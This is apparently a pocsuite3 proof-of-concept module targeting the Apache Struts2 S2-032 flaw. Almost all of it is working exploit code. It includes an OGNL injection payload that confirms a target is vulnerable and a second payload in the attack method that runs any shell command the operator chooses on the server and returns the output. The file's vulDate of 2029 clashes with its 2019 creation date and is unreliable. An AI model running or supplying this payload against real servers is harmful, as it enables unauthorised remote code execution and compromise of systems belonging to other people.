from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-032']
    name = 'Apache Struts2 s2-032'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        check_poc = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
        html = requests.get(self.url + "?" + check_poc).text
        if '1008660253718' in html:
            result["VerifyInfo"] = {
                "URL": self.url,
                "Html": html
            }
            return result
        return False

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            exec_payload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&cmd={cmd}&encoding=utf-8"
            cmd = self.get_option("command")
            req = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
            if req.status_code == 200:
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "Content": req.text.replace("\x00", "").encode()
                }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
